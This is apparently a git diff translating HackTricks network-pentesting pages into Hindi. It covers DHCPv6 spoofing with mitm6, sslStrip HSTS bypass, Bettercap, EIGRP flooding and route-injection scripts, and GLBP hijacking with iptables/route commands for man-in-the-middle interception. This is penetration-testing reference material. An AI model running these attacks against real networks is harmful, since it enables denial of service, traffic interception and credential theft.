+डिफ़ॉल्ट रूप से कुछ ऑपरेटिंग सिस्टम नेटवर्क में DHCPv6 पैकेट पढ़कर DNS को कॉन्फ़िगर करने की कोशिश करते हैं। फिर, एक हमलावर DHCPv6 पैकेट भेज सकता है ताकि वह खुद को DNS के रूप में कॉन्फ़िगर कर सके। DHCP भी पीड़ित को एक IPv6 प्रदान करता है। ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (फेक पेज और JS कोड इंजेक्शन) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## इंटरनेट हमले ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +बुनियादी रूप से, यह हमला यह करता है कि यदि **उपयोगकर्ता** एक **HTTP** पृष्ठ को **एक्सेस** करने की कोशिश करता है जो **HTTPS** संस्करण की ओर **रीडायरेक्ट** हो रहा है। **sslStrip** **क्लाइंट के साथ** एक **HTTP कनेक्शन** और **सर्वर के साथ** एक **HTTPS कनेक्शन** **बनाए रखेगा** ताकि यह **स्निफ** कर सके कनेक्शन को **सादा पाठ** में। ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` - More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -### sslStrip+ and dns2proxy for bypassing HSTS +### sslStrip+ और dns2proxy का उपयोग करके HSTS को बायपास करना -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +**sslStrip+ और dns2proxy** और **sslStrip** के बीच का **अंतर** यह है कि वे **उदाहरण के लिए** _**www.facebook.com**_ को _**wwww.facebook.com**_ **पर** **रिडायरेक्ट** करेंगे (ध्यान दें कि **अतिरिक्त** "**w**" है) और **इस डोमेन का पता हमलावर IP के रूप में सेट करेंगे**। इस तरह, **क्लाइंट** _**wwww.facebook.com**_ **(हमलावर)** से **कनेक्ट** होगा लेकिन पर्दे के पीछे **sslstrip+** **वास्तविक कनेक्शन** को **www.facebook.com** के माध्यम से **बनाए रखेगा**। -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +इस तकनीक का **लक्ष्य** **HSTS** से **बचना** है क्योंकि _**wwww**.facebook.com_ **ब्राउज़र के कैश** में **सहेजा नहीं जाएगा**, इसलिए ब्राउज़र को **HTTP में फेसबुक प्रमाणीकरण करने के लिए धोखा दिया जाएगा**।\ +ध्यान दें कि इस हमले को करने के लिए पीड़ित को पहले [http://www.faceook.com](http://www.faceook.com) पर पहुंचने की कोशिश करनी होगी और न कि https पर। यह एक http पृष्ठ के अंदर लिंक को संशोधित करके किया जा सकता है। More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह किसी उपयोगकर्ता का "महत्वपूर्ण" डोमेन पर पहली बार पहुंचने का समय हो, वह इसे HTTPS के माध्यम से पहुंच जाएगा। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए पहले का _**wwww.facebook.com**_ **उदाहरण अब काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS का उपयोग करता है जिसमें `includeSubdomains` है।** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## TCP पोर्ट में सुनना ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL पोर्ट में सुनें -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### कुंजी और स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करें ``` FILENAME=server # Generate a public/private key pair: @@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### प्रमाणपत्र का उपयोग करके सुनें ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### प्रमाणपत्र का उपयोग करके सुनें और होस्ट पर रीडायरेक्ट करें ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +कभी-कभी, यदि क्लाइंट यह जांचता है कि CA एक मान्य है, तो आप **एक अन्य होस्टनेम का प्रमाणपत्र जो CA द्वारा हस्ताक्षरित है** प्रदान कर सकते हैं।\ +एक और दिलचस्प परीक्षण है, **अनुरोधित होस्टनेम का प्रमाणपत्र लेकिन स्व-हस्ताक्षरित** प्रदान करना। -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +परीक्षण करने के लिए अन्य चीजें हैं, जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक एल्गोरिदम का उपयोग करने के लिए मजबूर करना जैसे कि डिफी हेलमैन (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक प्रॉब (जैसे एक हैश) मांगता है, तो एक नकली प्रॉब भेजें और उम्मीद करें कि क्लाइंट इसे जांचेगा नहीं। ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -862,47 +764,43 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### सक्रिय खोज नोट्स -### Active Discovery Notes +यह ध्यान में रखें कि जब एक UDP पैकेट एक ऐसे डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं है, तो एक ICMP (पोर्ट अप्राप्य) भेजा जाता है। -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **ARP खोज** -### **ARP discover** +ARP पैकेट का उपयोग यह पता लगाने के लिए किया जाता है कि नेटवर्क के भीतर कौन से IPs का उपयोग किया जा रहा है। PC को प्रत्येक संभावित IP पते के लिए एक अनुरोध भेजना होता है और केवल वही जो उपयोग में हैं, उत्तर देंगे। -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +### **mDNS (मल्टीकास्ट DNS)** -### **mDNS (multicast DNS)** +Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X मिलीसेकंड) **\_services\_.dns-sd.\_udp.local** के लिए पूछते हुए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करता है। -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". - -**Tools** +**उपकरण** - Avahi-browser (--all) - Bettercap (net.probe.mdns) - Responder -### **NBNS (NetBios Name Server)** +### **NBNS (नेटबायोस नाम सर्वर)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap पोर्ट 137/UDP पर "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" नाम के लिए पूछते हुए पैकेट प्रसारित करता है। -### **SSDP (Simple Service Discovery Protocol)** +### **SSDP (सिंपल सर्विस डिस्कवरी प्रोटोकॉल)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercap SSDP पैकेट प्रसारित करता है जो सभी प्रकार की सेवाओं की खोज करता है (UDP पोर्ट 1900)। -### **WSD (Web Service Discovery)** +### **WSD (वेब सेवा खोज)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercap WSD पैकेट प्रसारित करता है जो सेवाओं की खोज करता है (UDP पोर्ट 3702)। -## References +## संदर्भ - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (3rd edition)** -- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** +- **नेटवर्क सुरक्षा आकलन: अपने नेटवर्क को जानें (3रा संस्करण)** +- **व्यावहारिक IoT हैकिंग: इंटरनेट ऑफ थिंग्स पर हमले के लिए अंतिम गाइड। द्वारा फोटियॉस चांटज़िस, इओआनिस स्टाइस, पॉलिनो कैल्डेरोन, एवेंजेलोस डीरमेंटज़ोग्लू, ब्यू वुड** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 9dcab7fc1..a76dac213 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -### DHCPv6 vs. DHCPv4 Message Types Comparison +### DHCPv6 बनाम DHCPv4 संदेश प्रकारों की तुलना -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +DHCPv6 और DHCPv4 संदेश प्रकारों की तुलना नीचे दी गई तालिका में प्रस्तुत की गई है: -| DHCPv6 Message Type | DHCPv4 Message Type | +| DHCPv6 संदेश प्रकार | DHCPv4 संदेश प्रकार | | :--------------------------------- | :------------------ | | Solicit (1) | DHCPDISCOVER | | Advertise (2) | DHCPOFFER | @@ -17,23 +17,23 @@ A comparative view of DHCPv6 and DHCPv4 message types is presented in the table | Reconfigure (10) | DHCPFORCERENEW | | Relay-Forw (12), Relay-Reply (13) | none | -**Detailed Explanation of DHCPv6 Message Types:** +**DHCPv6 संदेश प्रकारों का विस्तृत विवरण:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**: DHCPv6 क्लाइंट द्वारा उपलब्ध सर्वरों को खोजने के लिए प्रारंभ किया गया। +2. **Advertise (2)**: सर्वरों द्वारा Solicit के जवाब में भेजा गया, जो DHCP सेवा के लिए उपलब्धता को दर्शाता है। +3. **Request (3)**: क्लाइंट इसका उपयोग किसी विशेष सर्वर से IP पते या प्रीफिक्स मांगने के लिए करते हैं। +4. **Confirm (4)**: क्लाइंट द्वारा यह सत्यापित करने के लिए उपयोग किया जाता है कि असाइन किए गए पते नेटवर्क पर अभी भी मान्य हैं, आमतौर पर नेटवर्क परिवर्तन के बाद। +5. **Renew (5)**: क्लाइंट इसे मूल सर्वर को पते की आयु बढ़ाने या कॉन्फ़िगरेशन को अपडेट करने के लिए भेजते हैं। +6. **Rebind (6)**: किसी भी सर्वर को पते की आयु बढ़ाने या कॉन्फ़िगरेशन को अपडेट करने के लिए भेजा गया, विशेष रूप से जब Renew के लिए कोई प्रतिक्रिया प्राप्त नहीं होती है। +7. **Reply (7)**: सर्वर इसका उपयोग पते, कॉन्फ़िगरेशन पैरामीटर प्रदान करने या Release या Decline जैसे संदेशों को स्वीकार करने के लिए करते हैं। +8. **Release (8)**: क्लाइंट सर्वर को सूचित करते हैं कि एक या अधिक असाइन किए गए पते का उपयोग बंद कर दें। +9. **Decline (9)**: क्लाइंट द्वारा भेजा गया कि असाइन किए गए पते नेटवर्क पर संघर्ष में हैं। +10. **Reconfigure (10)**: सर्वर क्लाइंट को नए या अपडेटेड कॉन्फ़िगरेशन के लिए लेनदेन शुरू करने के लिए प्रेरित करते हैं। +11. **Information-Request (11)**: क्लाइंट IP पते असाइनमेंट के बिना कॉन्फ़िगरेशन पैरामीटर मांगते हैं। +12. **Relay-Forw (12)**: रिले एजेंट संदेशों को सर्वरों को अग्रेषित करते हैं। +13. **Relay-Repl (13)**: सर्वर रिले एजेंटों को जवाब देते हैं, जो फिर संदेश को क्लाइंट को पहुंचाते हैं। -## References +## संदर्भ - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages) diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index fe4b7247a..c3938f7c1 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,61 +1,61 @@ -# EIGRP Attacks +# EIGRP हमले {{#include ../../banners/hacktricks-training.md}} -**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**यह उन हमलों का सारांश है जो** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **में उजागर किए गए हैं। आगे की जानकारी के लिए इसे देखें।** -## **Fake EIGRP Neighbors Attack** +## **फेक EIGRP पड़ोसी हमला** -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +- **उद्देश्य**: EIGRP हेलो पैकेट्स के साथ राउटर CPUs को ओवरलोड करना, जो संभावित रूप से एक Denial of Service (DoS) हमले की ओर ले जा सकता है। +- **उपकरण**: **helloflooding.py** स्क्रिप्ट। +- **निष्पादन**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **पैरामीटर**: +- `--interface`: नेटवर्क इंटरफेस को निर्दिष्ट करता है, जैसे `eth0`। +- `--as`: EIGRP स्वायत्त प्रणाली संख्या को परिभाषित करता है, जैसे `1`। +- `--subnet`: उपनेट स्थान को सेट करता है, जैसे `10.10.100.0/24`। -## **EIGRP Blackhole Attack** +## **EIGRP ब्लैकहोल हमला** -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - `--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +- **उद्देश्य**: एक गलत रूट इंजेक्ट करके नेटवर्क ट्रैफिक प्रवाह को बाधित करना, जिससे ट्रैफिक एक गैर-मौजूद गंतव्य की ओर निर्देशित होता है। +- **उपकरण**: **routeinject.py** स्क्रिप्ट। +- **निष्पादन**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **पैरामीटर**: +- `--interface`: हमलावर के सिस्टम इंटरफेस को निर्दिष्ट करता है। +- `--as`: EIGRP AS संख्या को परिभाषित करता है। +- `--src`: हमलावर का IP पता सेट करता है। +- `--dst`: लक्षित उपनेट IP सेट करता है। +- `--prefix`: लक्षित उपनेट IP का मास्क परिभाषित करता है। -## **Abusing K-Values Attack** +## **K-मानों का दुरुपयोग हमला** -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +- **उद्देश्य**: EIGRP डोमेन के भीतर निरंतर व्यवधान और पुनः कनेक्शन उत्पन्न करना, परिवर्तित K-मानों को इंजेक्ट करके, प्रभावी रूप से एक DoS हमले का परिणाम। +- **उपकरण**: **relationshipnightmare.py** स्क्रिप्ट। +- **निष्पादन**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **पैरामीटर**: +- `--interface`: नेटवर्क इंटरफेस को निर्दिष्ट करता है। +- `--as`: EIGRP AS संख्या को परिभाषित करता है। +- `--src`: एक वैध राउटर का IP पता सेट करता है। -## **Routing Table Overflow Attack** +## **राउटिंग टेबल ओवरफ्लो हमला** -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +- **उद्देश्य**: राउटर के CPU और RAM पर दबाव डालना, राउटिंग टेबल को कई गलत रूट्स के साथ भरकर। +- **उपकरण**: **routingtableoverflow.py** स्क्रिप्ट। +- **निष्पादन**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **पैरामीटर**: +- `--interface`: नेटवर्क इंटरफेस को निर्दिष्ट करता है। +- `--as`: EIGRP AS संख्या को परिभाषित करता है। +- `--src`: हमलावर का IP पता सेट करता है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 77e1a445e..3b5b2fa26 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,60 +2,56 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## FHRP Hijacking Overview ### Insights into FHRP -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +FHRP को नेटवर्क की मजबूती प्रदान करने के लिए डिज़ाइन किया गया है, जो कई राउटर्स को एकल वर्चुअल यूनिट में मिलाता है, इस प्रकार लोड वितरण और दोष सहिष्णुता को बढ़ाता है। Cisco Systems ने इस सूट में प्रमुख प्रोटोकॉल पेश किए, जैसे GLBP और HSRP। ### GLBP Protocol Insights -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +Cisco का निर्माण, GLBP, TCP/IP स्टैक पर कार्य करता है, संचार के लिए UDP का उपयोग करते हुए पोर्ट 3222 पर। GLBP समूह में राउटर्स 3-सेकंड के अंतराल पर "hello" पैकेट्स का आदान-प्रदान करते हैं। यदि कोई राउटर 10 सेकंड के लिए इन पैकेट्स को भेजने में विफल रहता है, तो इसे ऑफ़लाइन माना जाता है। हालाँकि, ये टाइमर निश्चित नहीं होते हैं और इन्हें संशोधित किया जा सकता है। ### GLBP Operations and Load Distribution -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +GLBP राउटर्स के बीच लोड वितरण को सक्षम बनाकर अलग खड़ा होता है, जो एकल वर्चुअल IP के साथ कई वर्चुअल MAC पतों का उपयोग करता है। GLBP समूह में, प्रत्येक राउटर पैकेट फॉरवर्डिंग में शामिल होता है। HSRP/VRRP के विपरीत, GLBP कई तंत्रों के माध्यम से वास्तविक लोड संतुलन प्रदान करता है: -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +- **Host-Dependent Load Balancing:** एक होस्ट को स्थिर AVF MAC पता असाइनमेंट बनाए रखता है, जो स्थिर NAT कॉन्फ़िगरेशन के लिए आवश्यक है। +- **Round-Robin Load Balancing:** डिफ़ॉल्ट दृष्टिकोण, अनुरोध करने वाले होस्टों के बीच AVF MAC पता असाइनमेंट को वैकल्पिक करता है। +- **Weighted Round-Robin Load Balancing:** पूर्वनिर्धारित "Weight" मैट्रिक्स के आधार पर लोड वितरित करता है। ### Key Components and Terminologies in GLBP -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +- **AVG (Active Virtual Gateway):** मुख्य राउटर, जो समकक्ष राउटर्स को MAC पतों को आवंटित करने के लिए जिम्मेदार है। +- **AVF (Active Virtual Forwarder):** एक राउटर जिसे नेटवर्क ट्रैफ़िक प्रबंधित करने के लिए नामित किया गया है। +- **GLBP Priority:** एक मैट्रिक जो AVG को निर्धारित करता है, जो 100 के डिफ़ॉल्ट से शुरू होता है और 1 से 255 के बीच होता है। +- **GLBP Weight:** एक राउटर पर वर्तमान लोड को दर्शाता है, जिसे मैन्युअल रूप से या ऑब्जेक्ट ट्रैकिंग के माध्यम से समायोजित किया जा सकता है। +- **GLBP Virtual IP Address:** सभी जुड़े उपकरणों के लिए नेटवर्क का डिफ़ॉल्ट गेटवे के रूप में कार्य करता है। -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +इंटरैक्शन के लिए, GLBP आरक्षित मल्टीकास्ट पते 224.0.0.102 और UDP पोर्ट 3222 का उपयोग करता है। राउटर्स 3-सेकंड के अंतराल पर "hello" पैकेट्स भेजते हैं, और यदि 10 सेकंड के दौरान कोई पैकेट छूट जाता है, तो उन्हें गैर-कार्यात्मक माना जाता है। ### GLBP Attack Mechanism -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +एक हमलावर उच्चतम प्राथमिकता मान (255) के साथ GLBP पैकेट भेजकर प्राथमिक राउटर बन सकता है। इससे DoS या MITM हमले हो सकते हैं, जो ट्रैफ़िक को इंटरसेप्ट या रीडायरेक्ट करने की अनुमति देते हैं। ### Executing a GLBP Attack with Loki -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +[Loki](https://github.com/raizo62/loki_on_kali) एक GLBP हमले को प्राथमिकता और वजन को 255 पर सेट करके पैकेट इंजेक्ट करके कर सकता है। हमले से पहले के चरणों में वर्चुअल IP पते, प्रमाणीकरण की उपस्थिति, और राउटर प्राथमिकता मानों जैसी जानकारी इकट्ठा करना शामिल है, जैसे कि Wireshark का उपयोग करना। Attack Steps: -1. Switch to promiscuous mode and enable IP forwarding. -2. Identify the target router and retrieve its IP. -3. Generate a Gratuitous ARP. -4. Inject a malicious GLBP packet, impersonating the AVG. -5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP. -6. Implement SNAT for complete traffic visibility. -7. Adjust routing to ensure continued internet access through the original AVG router. +1. प्रमिस्क्यूअस मोड में स्विच करें और IP फॉरवर्डिंग सक्षम करें। +2. लक्षित राउटर की पहचान करें और इसका IP प्राप्त करें। +3. एक Gratuitous ARP उत्पन्न करें। +4. AVG का अनुकरण करते हुए एक दुर्भावनापूर्ण GLBP पैकेट इंजेक्ट करें। +5. हमलावर के नेटवर्क इंटरफेस को GLBP वर्चुअल IP को दर्शाते हुए एक द्वितीयक IP पता असाइन करें। +6. पूर्ण ट्रैफ़िक दृश्यता के लिए SNAT लागू करें। +7. मूल AVG राउटर के माध्यम से निरंतर इंटरनेट एक्सेस सुनिश्चित करने के लिए रूटिंग को समायोजित करें। -By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. - -For demonstration, here are the required command snippets: +इन चरणों का पालन करके, हमलावर "मैन इन द मिडल" के रूप में खुद को स्थापित करता है, जो नेटवर्क ट्रैफ़िक को इंटरसेप्ट और विश्लेषण करने में सक्षम होता है, जिसमें असुरक्षित या संवेदनशील डेटा शामिल है। +प्रदर्शन के लिए, यहां आवश्यक कमांड स्निपेट्स हैं: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +नेटवर्क ट्रैफ़िक की निगरानी और इंटरसेप्टिंग net-creds.py या समान उपकरणों का उपयोग करके किया जा सकता है ताकि समझौता किए गए नेटवर्क के माध्यम से बहने वाले डेटा को कैप्चर और विश्लेषण किया जा सके। -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +### HSRP हाईजैकिंग का पैसिव स्पष्टीकरण कमांड विवरण के साथ -### Passive Explanation of HSRP Hijacking with Command Details +#### HSRP (हॉट स्टैंडबाई राउटर/रिडंडेंसी प्रोटोकॉल) का अवलोकन -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) +HSRP एक Cisco का स्वामित्व वाला प्रोटोकॉल है जिसे नेटवर्क गेटवे रिडंडेंसी के लिए डिज़ाइन किया गया है। यह एक साझा IP पते के साथ कई भौतिक राउटरों को एकल तार्किक इकाई में कॉन्फ़िगर करने की अनुमति देता है। इस तार्किक 